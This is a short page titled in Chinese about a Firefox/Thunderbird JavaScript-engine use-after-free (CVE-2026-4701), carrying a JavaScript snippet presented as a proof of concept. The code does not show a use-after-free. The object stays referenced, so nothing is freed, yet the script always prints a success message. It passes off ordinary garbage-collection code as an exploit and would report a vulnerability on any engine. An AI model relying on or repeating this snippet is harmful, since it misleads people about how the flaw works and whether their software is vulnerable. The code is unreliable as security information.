CVE-2026-4701 Firefox/Thunderbird JavaScript引擎释放后重用漏洞

/** * PoC for CVE-2026-4701 (Use-after-free in JS Engine) * This is a conceptual demonstration. */ function triggerUAF() { // Create a complex object to occupy memory let target = { property: "sensitive_data" }; // Store a reference let dangling_ref = target; // Force the object to be freed (simulated) // In a real scenario, specific JS logic triggers the GC or free target = null; // Attempt to trigger Garbage Collection if (typeof gc !== 'undefined') { gc(); } // Attempt to access the freed memory (UAF) // If vulnerable, this may access attacker-controlled memory try { if (dangling_ref.property) { console.log("[+] UAF Condition Triggered"); } } catch (e) { console.log("[-] Execution failed"); } } triggerUAF();